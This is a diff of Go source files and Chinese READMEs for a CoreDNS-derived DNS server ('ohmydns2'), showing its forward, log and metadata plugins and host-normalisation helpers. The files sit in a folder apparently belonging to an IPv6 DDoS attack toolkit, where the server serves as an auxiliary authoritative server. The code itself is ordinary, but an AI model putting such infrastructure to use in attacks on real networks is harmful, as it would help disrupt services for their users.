func init() { plugin.Register("forward", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
fs, err := parseForward(c)
|
||||
if err != nil {
|
||||
return plugin.Error("forward", err)
|
||||
}
|
||||
for i := range fs {
|
||||
f := fs[i]
|
||||
if f.Len() > max {
|
||||
return plugin.Error("forward", fmt.Errorf("more than %d TOs configured: %d", max, f.Len()))
|
||||
}
|
||||
|
||||
if i == len(fs)-1 {
|
||||
// last forward: point next to next plugin
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
f.Next = next
|
||||
return f
|
||||
})
|
||||
} else {
|
||||
// middle forward: point next to next forward
|
||||
nextForward := fs[i+1]
|
||||
dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
|
||||
f.Next = nextForward
|
||||
return f
|
||||
})
|
||||
}
|
||||
|
||||
c.OnStartup(func() error {
|
||||
return f.OnStartup()
|
||||
})
|
||||
c.OnStartup(func() error {
|
||||
if taph := dnsserver.GetConfig(c).Handler("dnstap"); taph != nil {
|
||||
f.SetTapPlugin(taph.(*dnstap.Dnstap))
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
c.OnShutdown(func() error {
|
||||
return f.OnShutdown()
|
||||
})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// OnStartup starts a goroutines for all proxies.
|
||||
func (f *Forward) OnStartup() (err error) {
|
||||
for _, p := range f.proxies {
|
||||
p.Start(f.hcInterval)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// OnShutdown stops all configured proxies.
|
||||
func (f *Forward) OnShutdown() error {
|
||||
for _, p := range f.proxies {
|
||||
p.Stop()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseForward(c *caddy.Controller) ([]*Forward, error) {
|
||||
var fs = []*Forward{}
|
||||
for c.Next() {
|
||||
f, err := parseStanza(c)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fs = append(fs, f)
|
||||
}
|
||||
return fs, nil
|
||||
}
|
||||
|
||||
func parseStanza(c *caddy.Controller) (*Forward, error) {
|
||||
f := New()
|
||||
|
||||
if !c.Args(&f.from) {
|
||||
return f, c.ArgErr()
|
||||
}
|
||||
origFrom := f.from
|
||||
zones := plugin.Host(f.from).NormalizeExact()
|
||||
if len(zones) == 0 {
|
||||
return f, fmt.Errorf("unable to normalize '%s'", f.from)
|
||||
}
|
||||
f.from = zones[0] // there can only be one here, won't work with non-octet reverse
|
||||
|
||||
if len(zones) > 1 {
|
||||
log.Warningf("Unsupported CIDR notation: '%s' expands to multiple zones. Using only '%s'.", origFrom, f.from)
|
||||
}
|
||||
|
||||
to := c.RemainingArgs()
|
||||
if len(to) == 0 {
|
||||
return f, c.ArgErr()
|
||||
}
|
||||
|
||||
toHosts, err := parse.HostPortOrFile(to...)
|
||||
if err != nil {
|
||||
return f, err
|
||||
}
|
||||
|
||||
transports := make([]string, len(toHosts))
|
||||
allowedTrans := map[string]bool{"dns": true, "tls": true}
|
||||
for i, host := range toHosts {
|
||||
trans, h := parse.Transport(host)
|
||||
|
||||
if !allowedTrans[trans] {
|
||||
return f, fmt.Errorf("'%s' is not supported as a destination protocol in forward: %s", trans, host)
|
||||
}
|
||||
p := proxy.NewProxy(h, trans)
|
||||
f.proxies = append(f.proxies, p)
|
||||
transports[i] = trans
|
||||
}
|
||||
|
||||
for c.NextBlock() {
|
||||
if err := parseBlock(c, f); err != nil {
|
||||
return f, err
|
||||
}
|
||||
}
|
||||
|
||||
if f.tlsServerName != "" {
|
||||
f.tlsConfig.ServerName = f.tlsServerName
|
||||
}
|
||||
|
||||
// Initialize ClientSessionCache in tls.Config. This may speed up a TLS handshake
|
||||
// in upcoming connections to the same TLS server.
|
||||
f.tlsConfig.ClientSessionCache = tls.NewLRUClientSessionCache(len(f.proxies))
|
||||
|
||||
for i := range f.proxies {
|
||||
// Only set this for proxies that need it.
|
||||
if transports[i] == transport.TLS {
|
||||
f.proxies[i].SetTLSConfig(f.tlsConfig)
|
||||
}
|
||||
f.proxies[i].SetExpire(f.expire)
|
||||
f.proxies[i].GetHealthchecker().SetRecursionDesired(f.opts.HCRecursionDesired)
|
||||
// when TLS is used, checks are set to tcp-tls
|
||||
if f.opts.ForceTCP && transports[i] != transport.TLS {
|
||||
f.proxies[i].GetHealthchecker().SetTCPTransport()
|
||||
}
|
||||
f.proxies[i].GetHealthchecker().SetDomain(f.opts.HCDomain)
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
func parseBlock(c *caddy.Controller, f *Forward) error {
|
||||
switch c.Val() {
|
||||
case "except":
|
||||
ignore := c.RemainingArgs()
|
||||
if len(ignore) == 0 {
|
||||
return c.ArgErr()
|
||||
}
|
||||
for i := 0; i < len(ignore); i++ {
|
||||
f.ignored = append(f.ignored, plugin.Host(ignore[i]).NormalizeExact()...)
|
||||
}
|
||||
case "max_fails":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
n, err := strconv.ParseUint(c.Val(), 10, 32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f.maxfails = uint32(n)
|
||||
case "health_check":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
dur, err := time.ParseDuration(c.Val())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if dur < 0 {
|
||||
return fmt.Errorf("health_check can't be negative: %d", dur)
|
||||
}
|
||||
f.hcInterval = dur
|
||||
f.opts.HCDomain = "."
|
||||
|
||||
for c.NextArg() {
|
||||
switch hcOpts := c.Val(); hcOpts {
|
||||
case "no_rec":
|
||||
f.opts.HCRecursionDesired = false
|
||||
case "domain":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
hcDomain := c.Val()
|
||||
if _, ok := dns.IsDomainName(hcDomain); !ok {
|
||||
return fmt.Errorf("health_check: invalid domain name %s", hcDomain)
|
||||
}
|
||||
f.opts.HCDomain = plugin.Name(hcDomain).Normalize()
|
||||
default:
|
||||
return fmt.Errorf("health_check: unknown option %s", hcOpts)
|
||||
}
|
||||
}
|
||||
|
||||
case "force_tcp":
|
||||
if c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
f.opts.ForceTCP = true
|
||||
case "prefer_udp":
|
||||
if c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
f.opts.PreferUDP = true
|
||||
case "tls":
|
||||
args := c.RemainingArgs()
|
||||
if len(args) > 3 {
|
||||
return c.ArgErr()
|
||||
}
|
||||
|
||||
tlsConfig, err := pkgtls.NewTLSConfigFromArgs(args...)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
f.tlsConfig = tlsConfig
|
||||
case "tls_servername":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
f.tlsServerName = c.Val()
|
||||
case "expire":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
dur, err := time.ParseDuration(c.Val())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if dur < 0 {
|
||||
return fmt.Errorf("expire can't be negative: %s", dur)
|
||||
}
|
||||
f.expire = dur
|
||||
case "policy":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
switch x := c.Val(); x {
|
||||
case "random":
|
||||
f.p = &random{}
|
||||
case "round_robin":
|
||||
f.p = &roundRobin{}
|
||||
case "sequential":
|
||||
f.p = &sequential{}
|
||||
default:
|
||||
return c.Errf("unknown policy '%s'", x)
|
||||
}
|
||||
case "max_concurrent":
|
||||
if !c.NextArg() {
|
||||
return c.ArgErr()
|
||||
}
|
||||
n, err := strconv.Atoi(c.Val())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n < 0 {
|
||||
return fmt.Errorf("max_concurrent can't be negative: %d", n)
|
||||
}
|
||||
f.ErrLimitExceeded = errors.New("concurrent queries exceeded maximum " + c.Val())
|
||||
f.maxConcurrent = int64(n)
|
||||
|
||||
default:
|
||||
return c.Errf("unknown property '%s'", c.Val())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
const max = 15 // Maximum number of upstreams.
|
||||
4
att script/3_v6_DDoS/code/辅助权威服务器/plugin/log/README.md
Normal file
4
att script/3_v6_DDoS/code/辅助权威服务器/plugin/log/README.md
Normal file
@@ -0,0 +1,4 @@
|
||||
# log
|
||||
*log--启用查询记录到标准输出*
|
||||
## 简介
|
||||
通过使用*log*,可以将所有查询(以及回复的部分)转存到标准输出上。并可通过一些选项稍微调整输出。请注意,对于繁忙的服务器,日志记录会导致性能下降。启用或禁用日志插件只会影响查询日志记录,任何其他来自 OhmyDNS 的日志记录都会显示出来。
|
||||
72
att script/3_v6_DDoS/code/辅助权威服务器/plugin/log/log.go
Normal file
72
att script/3_v6_DDoS/code/辅助权威服务器/plugin/log/log.go
Normal file
@@ -0,0 +1,72 @@
|
||||
package log
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/dnstest"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/replacer"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Logger is a basic request logging plugin.
|
||||
type Logger struct {
|
||||
Next plugin.Handler
|
||||
Rules []Rule
|
||||
|
||||
repl replacer.Replacer
|
||||
}
|
||||
|
||||
// ServeDNS implements the plugin.Handler interface.
|
||||
func (l Logger) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
name := state.Name()
|
||||
for _, rule := range l.Rules {
|
||||
if !plugin.Name(rule.NameScope).Matches(name) {
|
||||
continue
|
||||
}
|
||||
|
||||
rrw := dnstest.NewRecorder(w)
|
||||
rc, err := plugin.NextOrFailure(l.Name(), l.Next, ctx, rrw, r)
|
||||
|
||||
// If we don't set up a class in config, the default "all" will be added
|
||||
// and we shouldn't have an empty rule.Class.
|
||||
_, ok := rule.Class[response.All]
|
||||
var ok1 bool
|
||||
if !ok {
|
||||
tpe, _ := response.Typify(rrw.Msg, time.Now().UTC())
|
||||
class := response.Classify(tpe)
|
||||
_, ok1 = rule.Class[class]
|
||||
}
|
||||
if ok || ok1 {
|
||||
logstr := l.repl.Replace(ctx, state, rrw, rule.Format)
|
||||
olog.Info(logstr)
|
||||
}
|
||||
|
||||
return rc, err
|
||||
}
|
||||
return plugin.NextOrFailure(l.Name(), l.Next, ctx, w, r)
|
||||
}
|
||||
|
||||
// Name implements the Handler interface.
|
||||
func (l Logger) Name() string { return "log" }
|
||||
|
||||
// Rule configures the logging plugin.
|
||||
type Rule struct {
|
||||
NameScope string
|
||||
Class map[response.Class]struct{}
|
||||
Format string
|
||||
}
|
||||
|
||||
const (
|
||||
// CommonLogFormat is the common log format.
|
||||
CommonLogFormat = `{remote}:{port} ` + replacer.EmptyValue + ` {>id} "{type} {class} {name} {proto} {size} {>do} {>bufsize}" {rcode} {>rflags} {rsize} {duration}`
|
||||
// CombinedLogFormat is the combined log format.
|
||||
CombinedLogFormat = CommonLogFormat + ` "{>opcode}"`
|
||||
// DefaultLogFormat is the default log format.
|
||||
DefaultLogFormat = CommonLogFormat
|
||||
)
|
||||
101
att script/3_v6_DDoS/code/辅助权威服务器/plugin/log/setup.go
Normal file
101
att script/3_v6_DDoS/code/辅助权威服务器/plugin/log/setup.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package log
|
||||
|
||||
import (
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/replacer"
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"strings"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("log", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
rules, err := logParse(c)
|
||||
if err != nil {
|
||||
return plugin.Error("log", err)
|
||||
}
|
||||
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
return Logger{Next: next, Rules: rules, repl: replacer.New()}
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func logParse(c *caddy.Controller) ([]Rule, error) {
|
||||
var rules []Rule
|
||||
|
||||
for c.Next() {
|
||||
args := c.RemainingArgs()
|
||||
length := len(rules)
|
||||
|
||||
switch len(args) {
|
||||
case 0:
|
||||
// Nothing specified; use defaults
|
||||
rules = append(rules, Rule{
|
||||
NameScope: ".",
|
||||
Format: DefaultLogFormat,
|
||||
Class: make(map[response.Class]struct{}),
|
||||
})
|
||||
case 1:
|
||||
rules = append(rules, Rule{
|
||||
NameScope: dns.Fqdn(args[0]),
|
||||
Format: DefaultLogFormat,
|
||||
Class: make(map[response.Class]struct{}),
|
||||
})
|
||||
default:
|
||||
// Name scopes, and maybe a format specified
|
||||
format := DefaultLogFormat
|
||||
|
||||
if strings.Contains(args[len(args)-1], "{") {
|
||||
format = args[len(args)-1]
|
||||
format = strings.Replace(format, "{common}", CommonLogFormat, -1)
|
||||
format = strings.Replace(format, "{combined}", CombinedLogFormat, -1)
|
||||
args = args[:len(args)-1]
|
||||
}
|
||||
|
||||
for _, str := range args {
|
||||
rules = append(rules, Rule{
|
||||
NameScope: dns.Fqdn(str),
|
||||
Format: format,
|
||||
Class: make(map[response.Class]struct{}),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Class refinements in an extra block.
|
||||
classes := make(map[response.Class]struct{})
|
||||
for c.NextBlock() {
|
||||
switch c.Val() {
|
||||
// class followed by combinations of all, denial, error and success.
|
||||
case "class":
|
||||
classesArgs := c.RemainingArgs()
|
||||
if len(classesArgs) == 0 {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
for _, c := range classesArgs {
|
||||
cls, err := response.ClassFromString(c)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
classes[cls] = struct{}{}
|
||||
}
|
||||
default:
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
}
|
||||
if len(classes) == 0 {
|
||||
classes[response.All] = struct{}{}
|
||||
}
|
||||
|
||||
for i := len(rules) - 1; i >= length; i-- {
|
||||
rules[i].Class = classes
|
||||
}
|
||||
}
|
||||
|
||||
return rules, nil
|
||||
}
|
||||
43
att script/3_v6_DDoS/code/辅助权威服务器/plugin/metadata/README.md
Normal file
43
att script/3_v6_DDoS/code/辅助权威服务器/plugin/metadata/README.md
Normal file
@@ -0,0 +1,43 @@
|
||||
# metadata
|
||||
## 简介
|
||||
metadata包提供了一个 API,允许插件将元数据添加到上下文中。每个元数据都存储在格式为`<plugin>/<name>` 的标签下。每个元数据作为 Func 返回。调用 Func 时返回元数据。如果某个 Func 执行时间很长,就需要自行提供某种形式的缓存。在处理一个查询时的元数据应该保持不变。
|
||||
## 用例
|
||||
Basic example:
|
||||
```go
|
||||
//
|
||||
// Implement the Provider interface for a plugin p:
|
||||
//
|
||||
func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
|
||||
metadata.SetValueFunc(ctx, "test/something", func() string {
|
||||
return "myvalue"
|
||||
})
|
||||
return ctx
|
||||
}
|
||||
```
|
||||
Basic example with caching:
|
||||
```go
|
||||
func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
|
||||
cached := ""
|
||||
f := func() string {
|
||||
if cached != "" {
|
||||
return cached
|
||||
}
|
||||
cached = expensiveFunc()
|
||||
return cached
|
||||
}
|
||||
metadata.SetValueFunc(ctx, "test/something", f)
|
||||
return ctx
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
If you need access to this metadata from another plugin:
|
||||
```go
|
||||
|
||||
// ...
|
||||
valueFunc := metadata.ValueFunc(ctx, "test/something")
|
||||
value := valueFunc()
|
||||
// use 'value'
|
||||
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
package metadata
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/miekg/dns"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
)
|
||||
|
||||
// Metadata implements collecting metadata information from all plugins that
|
||||
// implement the Provider interface.
|
||||
type Metadata struct {
|
||||
Zones []string
|
||||
Providers []Provider
|
||||
Next plugin.Handler
|
||||
}
|
||||
|
||||
// Name implements the Handler interface.
|
||||
func (m *Metadata) Name() string { return "metadata" }
|
||||
|
||||
// ContextWithMetadata is exported for use by provider tests
|
||||
func ContextWithMetadata(ctx context.Context) context.Context {
|
||||
return context.WithValue(ctx, key{}, md{})
|
||||
}
|
||||
|
||||
// ServeDNS implements the plugin.Handler interface.
|
||||
func (m *Metadata) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
|
||||
rcode, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, w, r)
|
||||
return rcode, err
|
||||
}
|
||||
|
||||
// Collect will retrieve metadata functions from each metadata provider and update the context
|
||||
func (m *Metadata) Collect(ctx context.Context, state request.Request) context.Context {
|
||||
ctx = ContextWithMetadata(ctx)
|
||||
if plugin.Zones(m.Zones).Matches(state.Name()) != "" {
|
||||
// Go through all Providers and collect metadata.
|
||||
for _, p := range m.Providers {
|
||||
ctx = p.Metadata(ctx, state)
|
||||
}
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package metadata
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Provider interface needs to be implemented by each plugin willing to provide
|
||||
// metadata information for other plugins.
|
||||
type Provider interface {
|
||||
// Metadata adds metadata to the context and returns a (potentially) new context.
|
||||
// Note: this method should work quickly, because it is called for every request
|
||||
// from the metadata plugin.
|
||||
Metadata(ctx context.Context, state request.Request) context.Context
|
||||
}
|
||||
|
||||
// Func is the type of function in the metadata, when called they return the value of the label.
|
||||
type Func func() string
|
||||
|
||||
// IsLabel checks that the provided name is a valid label name, i.e. two or more words separated by a slash.
|
||||
func IsLabel(label string) bool {
|
||||
p := strings.Index(label, "/")
|
||||
if p <= 0 || p >= len(label)-1 {
|
||||
// cannot accept namespace empty nor label empty
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Labels returns all metadata keys stored in the context. These label names should be named
|
||||
// as: plugin/NAME, where NAME is something descriptive.
|
||||
func Labels(ctx context.Context) []string {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
return keys(m)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValueFuncs returns the map[string]Func from the context, or nil if it does not exist.
|
||||
func ValueFuncs(ctx context.Context) map[string]Func {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
return m
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ValueFunc returns the value function of label. If none can be found nil is returned. Calling the
|
||||
// function returns the value of the label.
|
||||
func ValueFunc(ctx context.Context, label string) Func {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
return m[label]
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SetValueFunc set the metadata label to the value function. If no metadata can be found this is a noop and
|
||||
// false is returned. Any existing value is overwritten.
|
||||
func SetValueFunc(ctx context.Context, label string, f Func) bool {
|
||||
if metadata := ctx.Value(key{}); metadata != nil {
|
||||
if m, ok := metadata.(md); ok {
|
||||
m[label] = f
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// md is metadata information storage.
|
||||
type md map[string]Func
|
||||
|
||||
// key defines the type of key that is used to save metadata into the context.
|
||||
type key struct{}
|
||||
|
||||
func keys(m map[string]Func) []string {
|
||||
s := make([]string, len(m))
|
||||
i := 0
|
||||
for k := range m {
|
||||
s[i] = k
|
||||
i++
|
||||
}
|
||||
return s
|
||||
}
|
||||
45
att script/3_v6_DDoS/code/辅助权威服务器/plugin/metadata/setup.go
Normal file
45
att script/3_v6_DDoS/code/辅助权威服务器/plugin/metadata/setup.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package metadata
|
||||
|
||||
import (
|
||||
"ohmydns2/core/dnsserver"
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
func init() { plugin.Register("metadata", setup) }
|
||||
|
||||
func setup(c *caddy.Controller) error {
|
||||
m, err := metadataParse(c)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
|
||||
m.Next = next
|
||||
return m
|
||||
})
|
||||
|
||||
c.OnStartup(func() error {
|
||||
plugins := dnsserver.GetConfig(c).Handlers()
|
||||
for _, p := range plugins {
|
||||
if met, ok := p.(Provider); ok {
|
||||
m.Providers = append(m.Providers, met)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func metadataParse(c *caddy.Controller) (*Metadata, error) {
|
||||
m := &Metadata{}
|
||||
c.Next()
|
||||
|
||||
m.Zones = plugin.OriginsFromArgsOrServerBlock(c.RemainingArgs(), c.ServerBlockKeys)
|
||||
|
||||
if c.NextBlock() || c.Next() {
|
||||
return nil, plugin.Error("metadata", c.ArgErr())
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
179
att script/3_v6_DDoS/code/辅助权威服务器/plugin/normalize.go
Normal file
179
att script/3_v6_DDoS/code/辅助权威服务器/plugin/normalize.go
Normal file
@@ -0,0 +1,179 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
valid "github.com/asaskevich/govalidator"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/cidr"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// Host represents a host from the Ohmyfile
|
||||
type Host string
|
||||
|
||||
// Normalize will return the host portion of host, stripping
|
||||
// of any port or transport. The host will also be fully qualified and lowercased.
|
||||
// An empty string is returned on failure
|
||||
// Deprecated: use OriginsFromArgsOrServerBlock or NormalizeExact
|
||||
func (h Host) Normalize() string {
|
||||
var caller string
|
||||
if _, file, line, ok := runtime.Caller(1); ok {
|
||||
caller = fmt.Sprintf("(%v line %d) ", file, line)
|
||||
}
|
||||
log.Warning("An external plugin " + caller + "is using the deprecated function Normalize. " +
|
||||
"This will be removed in a future versions of CoreDNS. The plugin should be updated to use " +
|
||||
"OriginsFromArgsOrServerBlock or NormalizeExact instead.")
|
||||
|
||||
s := string(h)
|
||||
_, s = parse.Transport(s)
|
||||
|
||||
// The error can be ignored here, because this function is called after the corefile has already been vetted.
|
||||
hosts, _, err := SplitHostPort(s)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return Name(hosts[0]).Normalize()
|
||||
}
|
||||
|
||||
// NormalizeExact will return the host portion of host, stripping
|
||||
// of any port or transport. The host will also be fully qualified and lowercased.
|
||||
// An empty slice is returned on failure
|
||||
func (h Host) NormalizeExact() []string {
|
||||
// The error can be ignored here, because this function should only be called after the corefile has already been vetted.
|
||||
s := string(h)
|
||||
_, s = parse.Transport(s)
|
||||
|
||||
hosts, _, err := SplitHostPort(s)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for i := range hosts {
|
||||
hosts[i] = Name(hosts[i]).Normalize()
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
// Zones represents a lists of zone names.
|
||||
type Zones []string
|
||||
|
||||
// Matches checks if qname is a subdomain of any of the zones in z. The match
|
||||
// will return the most specific zones that matches. The empty string
|
||||
// signals a not found condition.
|
||||
func (z Zones) Matches(qname string) string {
|
||||
zone := ""
|
||||
for _, zname := range z {
|
||||
if dns.IsSubDomain(zname, qname) {
|
||||
// We want the *longest* matching zone, otherwise we may end up in a parent
|
||||
if len(zname) > len(zone) {
|
||||
zone = zname
|
||||
}
|
||||
}
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// Normalize fully qualifies all zones in z. The zones in Z must be domain names, without
|
||||
// a port or protocol prefix.
|
||||
func (z Zones) Normalize() {
|
||||
for i := range z {
|
||||
z[i] = Name(z[i]).Normalize()
|
||||
}
|
||||
}
|
||||
|
||||
// Name represents a domain name.
|
||||
type Name string
|
||||
|
||||
// Matches checks to see if other is a subdomain (or the same domain) of n.
|
||||
// This method assures that names can be easily and consistently matched.
|
||||
func (n Name) Matches(child string) bool {
|
||||
if dns.Name(n) == dns.Name(child) {
|
||||
return true
|
||||
}
|
||||
return dns.IsSubDomain(string(n), child)
|
||||
}
|
||||
|
||||
// Normalize lowercases and makes n fully qualified.
|
||||
func (n Name) Normalize() string { return strings.ToLower(dns.Fqdn(string(n))) }
|
||||
|
||||
// OriginsFromArgsOrServerBlock returns the normalized args if that slice
|
||||
// is not empty, otherwise the serverblock slice is returned (in a newly copied slice).
|
||||
func OriginsFromArgsOrServerBlock(args, serverblock []string) []string {
|
||||
if len(args) == 0 {
|
||||
s := make([]string, len(serverblock))
|
||||
copy(s, serverblock)
|
||||
for i := range s {
|
||||
s[i] = Host(s[i]).NormalizeExact()[0] // expansion of these already happened in dnsserver/register.go
|
||||
}
|
||||
return s
|
||||
}
|
||||
s := []string{}
|
||||
for i := range args {
|
||||
sx := Host(args[i]).NormalizeExact()
|
||||
if len(sx) == 0 {
|
||||
continue // silently ignores errors.
|
||||
}
|
||||
s = append(s, sx...)
|
||||
}
|
||||
|
||||
return s
|
||||
}
|
||||
|
||||
// SplitHostPort splits s up in a host(s) and port portion, taking reverse address notation into account.
|
||||
// String the string s should *not* be prefixed with any protocols, i.e. dns://. SplitHostPort can return
|
||||
// multiple hosts when a reverse notation on a non-octet boundary is given.
|
||||
func SplitHostPort(s string) (hosts []string, port string, err error) {
|
||||
// If there is: :[0-9]+ on the end we assume this is the port. This works for (ascii) domain
|
||||
// names and our reverse syntax, which always needs a /mask *before* the port.
|
||||
// So from the back, find first colon, and then check if it's a number.
|
||||
colon := strings.LastIndex(s, ":")
|
||||
if colon == len(s)-1 {
|
||||
return nil, "", fmt.Errorf("expecting data after last colon: %q", s)
|
||||
}
|
||||
if colon != -1 {
|
||||
if p, err := strconv.Atoi(s[colon+1:]); err == nil {
|
||||
port = strconv.Itoa(p)
|
||||
s = s[:colon]
|
||||
}
|
||||
}
|
||||
|
||||
// TODO(miek): this should take escaping into account.
|
||||
if len(s) > 255 {
|
||||
return nil, "", fmt.Errorf("specified zone is too long: %d > 255", len(s))
|
||||
}
|
||||
|
||||
if _, ok := dns.IsDomainName(s); !ok {
|
||||
return nil, "", fmt.Errorf("zone is not a valid domain name: %s", s)
|
||||
}
|
||||
|
||||
// Check if it parses as a reverse zone, if so we use that. Must be fully specified IP and mask.
|
||||
_, n, err := net.ParseCIDR(s)
|
||||
if err != nil {
|
||||
return []string{s}, port, nil
|
||||
}
|
||||
|
||||
if s[0] == ':' || (s[0] == '0' && strings.Contains(s, ":")) {
|
||||
return nil, "", fmt.Errorf("invalid CIDR %s", s)
|
||||
}
|
||||
|
||||
// now check if multiple hosts must be returned.
|
||||
nets := cidr.Split(n)
|
||||
hosts = cidr.Reverse(nets)
|
||||
return hosts, port, nil
|
||||
}
|
||||
|
||||
// SplitPort 用于从探测端的服务块中分离出Port,并且接收到的参数必须为[:port],这意味着所有探测端服务块必须指定端口号
|
||||
func SplitPort(s string) (port string, err error) {
|
||||
if !strings.HasPrefix(s, ":") {
|
||||
return "", fmt.Errorf("探测端服务块配置存在错误,应接收到[:port],实际接收到: %v", s)
|
||||
}
|
||||
if !valid.IsPort(s[1:]) {
|
||||
return "", fmt.Errorf("探测端服务块配置存在错误,端口号不合法,实际接收到: %v", s[1:])
|
||||
}
|
||||
return s[1:], nil
|
||||
}
|
||||
1
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/README.md
Normal file
1
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/README.md
Normal file
@@ -0,0 +1 @@
|
||||
*pkg*包含了所有ohmydns2核心处理逻辑需要的插件
|
||||
82
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/cidr/cidr.go
Normal file
82
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/cidr/cidr.go
Normal file
@@ -0,0 +1,82 @@
|
||||
// Package cidr contains functions that deal with classless reverse zones in the DNS.
|
||||
package cidr
|
||||
|
||||
import (
|
||||
"github.com/apparentlymart/go-cidr/cidr"
|
||||
"github.com/miekg/dns"
|
||||
"math"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Split returns a slice of non-overlapping subnets that in union equal the subnet n,
|
||||
// and where each subnet falls on a reverse name segment boundary.
|
||||
// for ipv4 this is any multiple of 8 bits (/8, /16, /24 or /32)
|
||||
// for ipv6 this is any multiple of 4 bits
|
||||
func Split(n *net.IPNet) []string {
|
||||
boundary := 8
|
||||
nstr := n.String()
|
||||
if strings.Contains(nstr, ":") {
|
||||
boundary = 4
|
||||
}
|
||||
ones, _ := n.Mask.Size()
|
||||
if ones%boundary == 0 {
|
||||
return []string{n.String()}
|
||||
}
|
